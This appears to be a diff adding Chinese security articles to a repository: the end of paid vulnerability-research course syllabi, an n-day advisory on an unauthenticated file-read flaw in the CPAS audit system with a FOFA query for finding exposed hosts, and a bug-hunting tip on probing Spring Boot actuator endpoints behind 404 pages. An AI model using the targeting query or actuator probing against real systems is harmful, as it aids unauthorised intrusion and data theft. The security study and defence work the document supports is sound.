+7.2Paloalto防火墙漏洞分析(CVE-2022-3064) + +2022年强网杯PANOS,请求走私漏洞+后端栈溢出漏洞+SUID提权漏洞 + +7.2.1环境预处理及环境架构分析 + +历史漏洞获取shell或者vmware镜像的gdb调试 + +7.2.2漏洞分析 + +请求走私调试、栈溢出分析 + +7.2.3漏洞利用 + +请求走私利用、栈溢出ROP、SUID提权程序分析 + +7.2.4漏洞修复建议 + +规范http协议处理、限制字符串长度等 + + +7.3sophos防火墙漏洞分析(CVE-2022-1040) + +json解析差异导致的认证绕过、perl代码中的命令注入 + +7.3.1环境预处理及环境架构分析 + +cli之后获取shell + +环境架构分析 + +7.3.2漏洞分析 + +java代码分析、perl代码分析 + +7.3.3漏洞利用 + +json编码、命令注入 + +7.3.4漏洞修复建议 + +规范json处理,过滤敏感字符 + + +7.4Sonciwall防火墙漏洞分析(CVE-2021-20038) + +前台栈溢出漏洞,https://github.com/jbaines-r7/badblood + +7.4.1环境预处理及环境架构分析 + +gdb调试获取shell、架构分析 + +7.4.2漏洞分析 + +cgi的逆向分析思路 + +7.4.3漏洞利用 + +栈喷射 + +7.4.4漏洞修复建议 + +对字符串长度进行限制 + + +**第八章 企业级路由设备漏洞分析** + +8.1 Cisco Rv110w漏洞分析(CVE-2020-3331) + +https://bbs.kanxue.com/thread-271900.htm + +8.1.1漏洞分析 + +栈溢出位置代码分析 + +8.1.2漏洞利用 + +漏洞rop利用 + +8.1.3修复建议 + +对字符串长度进行限制 + + +8.2 Cisco Rv340漏洞分析(CVE-2024-20470) + +8.2.1漏洞分析 + +栈溢出位置代码分析 + +8.2.2漏洞利用 + +漏洞rop利用 + +8.2.3修复建议 + +对字符串长度进行限制 + + +**第九章 邮件网关漏洞分析** + +针对历史的一些邮件网关进行漏洞分析 + +9.1 CoreMail邮件服务器 25端口栈溢出漏洞 + +2023年强网杯线下漏洞案例,证书patch和栈溢出漏洞复现 + +9.1.1证书patch + +9.1.2漏洞分析 + +二进制逆向分析 + +9.1.3漏洞利用 + +rop + +9.1.4修复建议 + +对输入的长度进行限制 + + +**第十章 网络设备上的漏洞挖掘高级技术** + +10.1 fuzzing模糊测试 + +基于web server等协议的模糊测试等 + + +10.2 污点追踪 + +污点追踪原理和使用 + + +10.3 基于LLM漏洞挖掘 + +介绍使用大模型来辅助漏洞挖掘和大模型在污点追踪上的优势 + + +**第十一章 物联网设备rootkit相关知识** + +对于rootkit持久化技术在设备中的使用以及相关的防御的手段等 + +11.1基于固件植入的方法 + + +11.2基于分区修改的方法 + + + + + +**·** + + +**立即学习** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibSsg2PIdUXY07dcmAGke1BP17Pm5CwdRXU1sudYia0186ibs0wfl6Kpicw/640?wx_fmt=png&from=appmsg "") + +**限时优惠:¥21000** + +提升设备固件漏洞挖掘思路和方法 + +掌握各类企业级网络设备逆向分析方法 + +提升个人竞争力,扩宽职业道路 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibPRnSicDWUI8IFy5CAlMBvGudf05w8sYvlCIulGicbicrplAazHEZXqLBQ/640?wx_fmt=gif&from=appmsg "") + + +**二、系统0day安全-IOT设备漏洞挖掘(第6期)** + + +物联网(IoT)设备已经渗透到我们生活的方方面面,从智能家居到工业自动化,无一不依赖于这些智能设备。然而,随着IoT设备的普及,安全问题也日益凸显,IoT设备漏洞挖掘成为了保障网络安全的重要一环。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibYia5ic8AdIpaKFicNzfdRBia3KN3bymwTEaETUVn2RXHLvyg8jJsmxnIug/640?wx_fmt=jpeg&from=appmsg "") + +限时优惠:¥15000 + +入门到精通  成为IoT漏洞挖掘专家 + + +**·** + + +**课程介绍** + +🛠️ 系统性课程设计,实战技能全面提升 + +本课程从基础出发,涵盖固件获取、解包、仿真,再到漏洞分析与利用,为你打造一条完整的学习路径。我们不仅讲解理论知识,更注重实战操作,让你在动手中掌握IoT漏洞挖掘的核心技能。 + + +🔧 动手实践,从0到1的跨越 + +这门课程强调动手操作,除了丰富的理论知识外,我们还提供配套的相关资料、课后习题、直播答疑和学习交流群。在这里,你将学会如何快速上手实践,实现从理论到实践的无缝对接。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibUWtRIXHkTcHaib0kg6rJmQpJW1xPToibTRl7blyYenH6rVkSHNHbjx2Q/640?wx_fmt=png&from=appmsg "") + +课程亮点 + + +**▶ 完善的课程体系:**包含基础准备、固件获取与分析、固件仿真、漏洞分析与利用等多个模块,帮助学员快速了解 IoT 安全领域。 + + +**▶ 真实的漏洞实操:**结合真实的漏洞挖掘经验,完整展示漏洞复现过程,分享漏洞挖掘思路。 + + +**▶ 丰富的配套服务:**从拓展资料到直播答疑,从课后习题到实战挖掘,不止局限于课程本身。 + + +本课程适合具备一定的 Web 安全基础,希望系统学习 IoT 漏洞挖掘方向的同学,同样适合寻求自我突破的安全从业者。 + + +**·** + + +**讲师介绍:【SecureNexusLab】团队** + + +讲师团队【SecureNexusLab】来自TOP 2院校、中科院软件所等多个高校和研究所,他们不仅在学术界有着深厚的背景,更在实战中积累了丰富的经验。提交了数百个原创通用漏洞,在漏洞挖掘、二进制安全领域有着丰富的实践经验,在 Datacon、ByteAI 等竞赛中表现优异。 + + + +**·** + + +**课程目录(上下滑动查看)** + + +**一、基础准备** + +1.1 汇编基础 + +1.1.1 x86 汇编 + +X86 汇编实践 + +1.1.2 ARM 汇编基础 + +1.1.3 MIPS 汇编基础 + +1.2 环境配置 + +1.2.1 IoT 虚拟机安装及使用 + +IoT 虚拟机实践 + +1.2.2 OWASP IoT Goat + +1.3 工具介绍和使用 + +1.3.1 IDA Pro 介绍与使用 + +1.3.2 Ghidra 介绍与使用 + +1.3.3 GDB 介绍与使用 + +1.3.4 binwalk 介绍与使用 + +1.4 物联网常用协议及攻击方法 + +1.4.1 物联网常见协议及实际应用之coap协议 + +1.4.2 物联网常见协议及实际应用之MQTT协议 + +1.4.2 物联网攻击协议的攻击方法 + + +**二、固件获取与分析** + +2.1 固件获取 + +2.1.1 busybox集成环境使用 + +2.1.2 网络获取固件数据包 + +2.1.3 非常规固件获取 + +2.2 固件解密 + +2.2.1 判断固件加密方式 + +2.2.2 过渡版本固件逆向解密 + +2.2.3 硬件提取未加密的固件或密钥 + +2.3 固件分析 + +2.3.1 固件解包 + +2.3.2 固件解包之OOB数据去除 + +2.3.2 Linux固件 + +2.3.3 RTOS固件 + +2.3.4 单片机/裸机固件固件分析 + +2.3.5 物联网设备调试接口概述 + +2.3.6 固件自动化分析工具 + + +**三、固件仿真** + +3.1 Qemu 的介绍与安装 + +3.1.1 Qemu 的介绍与安装 + +3.2 Qemu 用户模式仿真 + +3.2.1 用户模式仿真(Qemu-user)介绍 + +3.2.2 用户模式仿真(Qemu-user)实例演示 + +3.3 Qemu 系统模式仿真 + +3.3.1 系统模式仿真(Qemu-system)介绍 + +3.3.2 系统模式仿真(Qemu-system)实例演示 + +3.4 Qemu+GDB/IDA调试Linux用户态程序 + +3.4.1 Qemu+GDB/IDA 调试 Linux 用户态程序 + +3.4.2 常用固件程序执行环境修补方法 + +3.5 自动化仿真工具的介绍与使用 + +3.5.1 自动化仿真工具 FAT 的介绍与使用 + +3.5.2 自动化仿真工具 FirmAE 的介绍与使用 + + +**四、漏洞分析与利用** + +4.1 常见 IoT 漏洞类型及原理 + +4.1.1 常见 IoT 漏洞类型介绍 + +4.1.2 漏洞原理之栈溢出漏洞 + +4.1.3 漏洞原理之命令执行/注入漏洞 + +4.2 IoT 设备漏洞挖掘与实战 + +4.2.1 IoT 常见 Web 服务架构 + +4.2.2 IoT 设备 OTA + +4.2.3 IoT 设备漏洞挖掘思路概述 + +4.2.4 IoT 命令注入漏洞复现 + +4.2.5 IoT 命令注入漏洞复现实操 + +4.2.5 IoT 认证绕过漏洞复现 + +4.2.6 IoT 缓冲区溢出漏洞复现 + +4.2.7 IoT 后门漏洞复现 + +4.3 Fuzz与物联网漏洞挖掘 + +4.3.1 IoT 与 Fuzzing + +4.3.2 IOT 场景中的 Fuzzer 工具 + +4.3.3 常见 Fuzz 工具 AFL++ 介绍&安装 + +4.3.4 常见 Fuzz 工具 AFL++ 实例演示 + +4.3.5 常见 Fuzz 工具 Boofuzz 介绍与安装 + +4.3.6 常见 Fuzz 工具 Boofuzz 实例演示 + +4.3.7 LLM 助力物联网 Fuzzing + + +**五、实战分析** + +5.1  路由器公开CVE分析实战 + +路由设备漏洞分析 + +路由设备漏洞分析之D-Link + +路由设备漏洞分析之Tenda + +路由设备漏洞分析之WayOS + +路由设备漏洞分析之NETGEAR + +路由设备漏洞分析之Belkin + +路由设备漏洞分析之UTT + +5.2 其他设备 + +物联网设备漏洞分析 + +南方测绘等GNSS设备漏洞分析 + +5.3 拓展篇 + +实战物联网设备信息收集 + +自动化工具固件初步分析 + + +**六、物联网安全走向何处?** + +6.1 国内外安全社群简介 + +6.2 安全研究方向简介 + +6.3 车联网/卫星/LLM简介 + + + + +**·** + + +**立即学习** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibJviaN35Nk2jSD285IpuaiaM8B958SLcGYX4ORVgHqRicvJAicpNrj9BmfQ/640?wx_fmt=png&from=appmsg "") + +原价:¥20000   折后:¥15000 + +探索IoT设备的奥秘 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibPRnSicDWUI8IFy5CAlMBvGudf05w8sYvlCIulGicbicrplAazHEZXqLBQ/640?wx_fmt=gif&from=appmsg "") + + +**三、系统0day安全-Windows平台漏洞挖掘(第5期)** + + +Windows操作系统广泛应用于各类企业和个人设备中,其安全性至关重要。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibAics6eonjwIicuYwpmI6nmGsYQSrT0tPVTicwHYpx5iaJj6LkhrgHx02LA/640?wx_fmt=jpeg&from=appmsg "") + + +**·** + + +**课程介绍** + + +本课程将深入探讨Windows平台的漏洞挖掘技术,包括内核漏洞、应用程序漏洞等。课程内容结合理论与实践,帮助学员掌握Windows安全防护的关键技能。 + + +核心: + +1.帮助安全从业者跟进行业前沿技术,提升个人基础素质,赋能企业安全。 + + +2. 二进制漏洞挖掘技术可以帮助安全人员及时发现业务系统内潜在的安全问题,从源头阻断安全风险,提升系统安全性,有效避免业务上线后出现重大安全事故。 + + +3.在实战中体会二进制漏洞挖掘的乐趣,多分析漏洞,举一反三,触发灵感。多尝试挖掘漏洞,而不是纸上谈兵,积累经验很重要。 + + + +**·** + + +**课程目录(上下滑动查看)** + + +**录播内容安排** + +漏洞基础原理讲解 + +课程介绍 + +溢出,double free,uaf,race condition等漏洞原理讲解 + +浅讲DEP,GS,ASLR,CFG等缓解措施 + +漏洞挖掘/分析/利用职业规划 + +  + +Windows驱动入门 + +内核基础原理讲解 + +驱动环境搭建,实战开发驱动 + +熟悉windows内核模块 + +  + +从0学习内核fuzz + +Syscall,DeviceIoctrol原理讲解 + +ioct fuzz原理分析 + +syscall fuzz原理分析 + +本章小结 + +  + +从0学习内核fuzz变异原理 + +cve-2020-xxxx漏洞挖掘 + +cve-2020-xxxx内核调试分析,反推构造poc + +内核FUZZ变异原理 + +本章小结 + +  + +代码审计实战1 + +windbg+ida调试基础掌握 + +cve-2023-21768调试分析,poc构造 + +本章小结 + +  + +代码审计实战2 + +cve-2020-xxxx漏洞挖掘 + +cve-2020-xxxxpoc调试分析,poc构造 + +本章小结 + +  + +Windows服务漏洞原理讲解 + +理解rpc/com接口 + +理解符号链接 + +windows 服务漏洞原理讲解 + +本章小结 + +  + +实战分析windows服务漏洞 + +CVE-2020-1337原理分析 + +PrintNightmare原理分析 + +本章小结 + + +实战挖掘windows服务漏洞 + +windows服务漏洞挖掘方法总结 + +CVE-2024-1694实战分析 + +本章小结 + +  + +漏洞挖掘实战训练 + +整数溢出漏洞挖掘实战(作业) + +race condtion漏洞挖掘实战(作业) + +uaf漏洞挖掘实战(作业) + +  + +漏洞挖掘系列课程回顾 + +总结 + + + +**直播内容安排** + +第一周漏洞基础原理提升 + +第二周汇编分析漏洞 + +第三周漏洞挖掘方法论总讲 + +第四周驱动拔升 + +第五周ioctl fuzz提升 + +第六周kernel fuzz提升 + +第七周simpleNtSyscallFuzzer分析 + +第八周CVE-2023-21768分析 + +第九周CVE-2020-0714分析 + +第十周锁问题漏洞挖掘实战1 + +第十一周锁问题漏洞挖掘实战2 + +第十二周锁问题漏洞挖掘实战3 + +第十三周整数溢出漏洞挖掘实战1 + +第十四周整数溢出漏洞挖掘实战2 + +第十五周服务提权漏洞CVE-2021-1675分析 + +第十六周服务提权漏洞 CVE-2020-1337分析 + +第十七周服务提权漏洞挖掘方法论总结 + +第十八周整数溢出漏洞挖掘实战课原理讲解 + +第十九周race condition漏洞挖掘实战课原理讲解 + +第二十周RPC uaf漏洞挖掘实战课原理讲解 + + + +**·** + + +**立即学习** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIib5yfuPEibpx87qPrnAfghRD3x15gOOmibmFjpjiaebLyIYgsHzcBvCibE6w/640?wx_fmt=png&from=appmsg "") + +超值价:¥15000 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibPRnSicDWUI8IFy5CAlMBvGudf05w8sYvlCIulGicbicrplAazHEZXqLBQ/640?wx_fmt=gif&from=appmsg "") + + +**四、系统0day安全-二进制漏洞攻防(第4期)** + + +二进制漏洞,作为黑客攻击的一把利刃,其威胁不容小觑。它们潜藏在软件的底层代码中,一旦被利用,可能导致数据泄露、系统崩溃,甚至更严重的安全事件。为了应对这一挑战,我们精心打造了一门全新的课程——系统0day安全-二进制漏洞攻防(第4期)。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibugdVXf4EBJNf0tMqDicf1uPSfRKicTAaeV1GYXV8AWgibeXZ3aIF6wKbQ/640?wx_fmt=jpeg&from=appmsg "") + +上新价:¥15000 + +为企业构建一道坚不可摧的安全防线 + + +**·** + + +**课程介绍** + + +本课程由资深系统安全研究员主讲,专注于Linux内核、AOSP以及httpd服务器漏洞的挖掘与利用。 +课程内容全面覆盖了二进制漏洞攻防领域的多个方面,包括模糊测试、AFL原理、ASAN原理、网络协议漏洞挖掘、Linux内核漏洞挖掘、AOSP漏洞挖掘以及CodeQL代码审计等,为学员提供了丰富的学习资源。 + + +本课程预估时长为80小时,课程内容从基础的漏洞挖掘技术纵览到实战案例分析,再到课程回顾,系统性地构建了二进制漏洞攻防的知识体系。 + + +课程收获 + + +完成本课程后,学员将掌握二进制漏洞挖掘和利用的基本原理和方法,包括模糊测试、AFL原理、ASAN原理等。 + + +学员将能够熟练使用模糊测试工具进行漏洞挖掘,了解网络协议漏洞挖掘实战,掌握Linux内核漏洞挖掘实战技巧,学会使用CodeQL进行代码审计和漏洞挖掘,提高代码安全审查能力。 + + +**·** + + +**实例+实操** + + +课程 +结合实际案例进行讲解,包括 +网络协议漏洞挖掘实战、Linux内核漏洞挖掘实战和AOSP漏洞挖掘实战等,帮助学员更好地理解和掌握二进制漏洞攻防的实际应用。通过理论讲解、实践操作和nday分析,学员将全面掌握二进制漏洞攻防的相关技能。 + + +强调实践操作,教授 +如何使用模糊测试工具、改造模糊测试工具、从零实现模糊测试工具等,提升学员的动手能力和实际操作经验。学员将学会熟练使用模糊测试工具进行漏洞挖掘,了解网络协议漏洞挖掘实战,掌握Linux内核漏洞挖掘实战技巧,学会使用CodeQL进行代码审计和漏洞挖掘,提高代码安全审查能力。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibichPKyUXhvZnTz9MTmSoXjjDxT1AJUgfLxfexcG05CBNEkQIFphfnqg/640?wx_fmt=png&from=appmsg "") + + + + +**·** + + +**录播+直播  课程目录(上下滑动查看)** + + +**录播内容安排** + +第一章 漏洞挖掘技术纵览 + +1.1 准备阶段 + +1.2 课程介绍 + + +第二章 模糊测试介绍 + +2.1 模糊测试介绍 + + +第三章 AFL原理 + +3.1 路径信息反馈 + +3.2 forkserver + +3.3 样本变异 + +3.4 一些思考 + + +第四章 模糊测试工具基础使用 + +4.1 AFL环境搭建 + +4.2 AFL使用 + +4.3 AFL字典 + +4.4 AFL持续化Fuzz + +4.5 AFL闭源Fuzz + +4.6 AFL拓展使用 + + +第五章 ASAN原理解析 + +5.1 开源asan + +5.2 闭源asan + + +第六章 改造模糊测试工具 + +6.1 模糊测试挖掘命令注入漏洞 + +6.2 模糊测试挖掘命令注入实现 + +6.3 网络协议fuzz之cgi + + +第七章 从零实现模糊测试工具 + +7.1 自定义fuzz框架源码讲解 + +7.2 自定义fuzz框架拓展 + + +第八章 网络协议漏洞挖掘实战 + +8.1 webserver与fuzz + +8.2 lighttpd-基础fuzz + +8.3 lighttpd-单一字段fuzz + +8.4 nginx-fuzz + + +第九章 LibAFL(跨平台,可拓展) + +9.1 LibAFL使用 + +9.2 自行构建完整的fuzz demo + +9.3 安卓frida_mode-fuzz + +9.4 跨平台使用(no_std mode支持嵌入式设备) + + +第十章 linux内核漏洞挖掘实战 + +10.1 syzkaller-模板 + +10.2 syzkaller使用技巧 + +10.3 设计内核fuzz模型 + + +第十一章 codeql代码审计 + +11.1 codeql-环境配置 + +11.2 codeql-基础语法 + +11.3 codeql-func类 + +11.4 codeql-expr类 + +11.5 codeql-stmt类 + +11.6 codeql-conver类型 + +11.7 codeql-class类 + +11.8 codeql局部数据流分析 + +11.9 codeql-全局数据流分析 + + +第十二章 课程回顾 + +12.1 课程回顾 + + + +**直播内容安排** + +1.AFL多场景下演示-0 + +2.AFL多场景下演示-1 + +3.boa 漏洞挖掘实战 + +4.apache 漏洞挖掘实战 + +5.windows 漏洞挖掘 + +6.CVE-2022-0847(dirty_pipe) 漏洞分析 + +7.使用syzkaller挖掘CVE-2022-0847 + +8.CVE-2022-2588(dirty_cred利用) 漏洞分析 + +9.CVE-2024-1086 (dirty_pagetable利用) 漏洞分析-0 + +10.CVE-2024-1086 (dirty_pagetable利用) 漏洞分析-1 + +11.使用syzkaller挖掘linux内核蓝牙协议-0 + +12.使用syzkaller挖掘linux内核蓝牙协议-1 + +13.linux内核系统调用兼容性fuzz + +14.codeql实战-0 + +15.codeql实战-1 + +16.android经典漏洞-create_package_context滥用 + +17.android经典漏洞-webview跨域 + +18.android经典漏洞-intent重定向 + +19.android经典漏洞-pending_intent + +20.使用codeql挖掘aosp漏洞 + +21.总结回顾 + + +本课程适合所有对二进制漏洞攻防感兴趣的专业人士,无论您是信息安全爱好者、安全工程师、系统开发人员还是安全研究员,都能在本课程中获得宝贵的知识和经验。 + + + +**·** + + +**立即学习** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibhfBFxeKZ7JRT6tKibELd9oXR5977iato33MB10oFG800IKmosHH8zyhg/640?wx_fmt=png&from=appmsg "") + +原价:¥20000    +折后:¥15000 + +名额有限,欲报从速 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibAGMYaTFey7kLE8s8J8RibcfYSx3ZMF82KOCzKxWkqE9SBX5ibmicLUT3g/640?wx_fmt=png&from=appmsg "") + +**·课程咨询·** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibKgnK1gfhZWnbJBIXP4LiaEtQcelibvDdZhCfM6UYb6W7BMttchLlXgEA/640?wx_fmt=gif&from=appmsg "") + +**万先生** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibPRnSicDWUI8IFy5CAlMBvGudf05w8sYvlCIulGicbicrplAazHEZXqLBQ/640?wx_fmt=gif&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibMb2gCbcN9djJKuniaVu1M6UKUzibiaqnmOy6R6V0eCjpodVk0CFEMqibpw/640?wx_fmt=jpeg&from=appmsg "") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIib2GU6n99d7fH02oh0rmf28GtZkstpK3ZNRCIFibTUb1FAkx5tSYX6iaow/640?wx_fmt=gif&from=appmsg "") + +**球分享** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIib2GU6n99d7fH02oh0rmf28GtZkstpK3ZNRCIFibTUb1FAkx5tSYX6iaow/640?wx_fmt=gif&from=appmsg "") + +**球点赞** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIib2GU6n99d7fH02oh0rmf28GtZkstpK3ZNRCIFibTUb1FAkx5tSYX6iaow/640?wx_fmt=gif&from=appmsg "") + +**球在看** + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibJC0Acx3icpySFJQMzciaTzBt9z2eMibYCXJ4LaxZkQuJMMyBA403KFp7A/640?wx_fmt=gif&from=appmsg "") + +点击阅读原文查看更多 + diff --git a/doc/友数聚 CPAS审计管理系统V4 downPlugs 任意文件读取漏洞.md b/doc/友数聚 CPAS审计管理系统V4 downPlugs 任意文件读取漏洞.md new file mode 100644 index 00000000..2c37d300 --- /dev/null +++ b/doc/友数聚 CPAS审计管理系统V4 downPlugs 任意文件读取漏洞.md @@ -0,0 +1,93 @@ +# 友数聚 CPAS审计管理系统V4 downPlugs 任意文件读取漏洞 +Superhero nday POC 2025-01-25 09:50 + +![](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号nday poc及作者不为此承担任何责任,一旦造成后果请自行承担!如文章有侵权烦请及时告知,我们会立即删除文章并致歉。谢谢! + + +**00****** + +**产品简介** + + +友数聚CPAS审计管理系统V4是友数聚科技有限公司(用友集团成员企业)开发的一款审计软件产品,它是CPAS审计信息系统的一个重要组成部分。中国注册会计师协会于2012年与用友集团签订战略合作协议,合力开发了CPAS审计信息系统,以服务于本土会计师事务所,建立管理集中、覆盖全面、分工合作、反应及时的一体化审计信息系统。CPAS审计信息系统紧联用户使用习惯,紧扣业务应用需求,紧随行业发展趋势,已形成CPAS审计管理系统、CPAS审计作业系统、CPAS电子档案系统、CPAS合并系统和CPAS函证系统等五大系统互联互通、融合应用的审计信息化全流程应用平台,为大中型会计师事务所提供了一整套全流程审计信息化解决方案。 +**01****** + +**漏洞概述** + + +友数聚 CPAS审计管理系统V4 downPlugs 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。 +**02****** + +**搜索引擎** + + +FOFA: +``` +body="/cpasm4/static/cap/font/iconfont.css" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIG2qy9ErhJgKoRdcc8fnM6xh0sbZdEjmDVBQO2IrZR3luaGwvPiagfSibUNevNCPdibISW4UqJibIUcw/640?wx_fmt=png&from=appmsg "") + + +**03****** + +**漏洞复现** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIG2qy9ErhJgKoRdcc8fnM6peJ0l3llV02MOtYETTn3UmXhr0WBSK99ZbKMSkflmIAGYZicD0Jyqfw/640?wx_fmt=png&from=appmsg "") + + +**04** + +**自查工具** + + +nuclei + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIG2qy9ErhJgKoRdcc8fnM65Vps9nWVz8ZInKodvaZMxZCxJxaaaNWaqhbQaicUH9nDNRbBFZYcsCw/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIG2qy9ErhJgKoRdcc8fnM6grQjtkSQadkUsRRJtMMdsjia8NlOC40pUUgmGm14vBgmgbaKPA4kDLQ/640?wx_fmt=png&from=appmsg "") + +xray + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwIG2qy9ErhJgKoRdcc8fnM6K3n4XicmaOPIFuIkNEHwgk5YOSo1Bkyknl4gicCL1XjG1R7mXUMdAsibQ/640?wx_fmt=png&from=appmsg "") + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、升级至安全版本 + + +**06****** + +**内部圈子介绍** + + +1、本圈子主要是分享网上公布的1day/nday POC详情及对应检测脚本,目前POC脚本均支持xray、afrog、nuclei等三款常用工具。 + +2、三款工具都支持内置poc+自写poc目录一起扫描。 + +3、保持每周更新10个左右POC。 + +4、所发布的POC脚本均已测试完毕,直接拿来即用。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI0X77l5WtnpfTexA6RwHXSbf1x3ZyT3bhcbWzRoFLyAgHkSMk9yGaZK5FDGcSCQp9ibPcicxHXIOcg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&retryload=2&tp=webp "") + + + diff --git a/doc/对 404 站点的漏洞挖掘.md b/doc/对 404 站点的漏洞挖掘.md new file mode 100644 index 00000000..67fe3afc --- /dev/null +++ b/doc/对 404 站点的漏洞挖掘.md @@ -0,0 +1,77 @@ +# 对 404 站点的漏洞挖掘 +原创 GOWLSJ125 走在网安路上的哥布林 2025-01-25 06:21 + +  + +## 前言 + +该漏洞的利用方式十分简单,但是刚入行的可能会忽略掉,所以给新人提供下思路。 + +  + +## 正文 + + +  + +  + +不论是在挖掘 SRC 的时候还是渗透过程中总是会遇到如下情况: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuRYo57LSjRj1CglSPvMuMuMnSthzwPEtwnG3XWfW0wiapYVr9pBzGH62w/640?wx_fmt=png&from=appmsg "") + + +某站点的状态码显示 404 Not Found,浏览器访问后显示错误信息: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuR2vnichDezgIL24FAribfrnAbjTNk9pZmGHWfYy37HQrHwLM5O1obtZHw/640?wx_fmt=png&from=appmsg "") + +不要因此忽略掉,可以通过 Google Hack 语法搜索下,可能就会发现新大陆(不同的搜索引擎会出现不同的结果,建议多尝试几个搜索引擎)。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuR9wqNFj8pJdzBOZLDlUicHXT2uJib9CyiaZFFlOwr4eiaBfn4SPUficn8jmg/640?wx_fmt=png&from=appmsg "") + +浏览器访问搜索到的结果: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuRg53pf8TdJJhLO3MibhjS2JdhJWgSRnIp86y3I8641hVoQ9fTBnGmOow/640?wx_fmt=png&from=appmsg "") + +虽然还是出现了错误信息,但错误信息明显不同了。 + +不断的删除路径尝试: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuR3XUbupAFibu8vGLO4K61mWHaibzIQg649ClzMAEibRv0oR2RraJUU9s9A/640?wx_fmt=png&from=appmsg "") + +多次删除后,终于有了变化: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuRSytiaouQKeJqtWTVicvnQFs36icH7MhzIh7yd4TEwTaWRwEzYicrxPVsmg/640?wx_fmt=png&from=appmsg "") + +添加 actuator 试试: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oUbjnPfa26ZHFeTkCicq5iavcd8yTjRHuRrHFYviaxzh0jXzhYYHLic3WfKKY1sEndDAptxYCS5hEPnGQmZ07kEO5w/640?wx_fmt=png&from=appmsg "") + +上图中的 href 是内网 IP。 + +因为内容比较多,所以这里使用工具(SpringBoot-Scan)跑了一下,跑完后结果会保存在同级目录 urlout.txt 文件里。 + 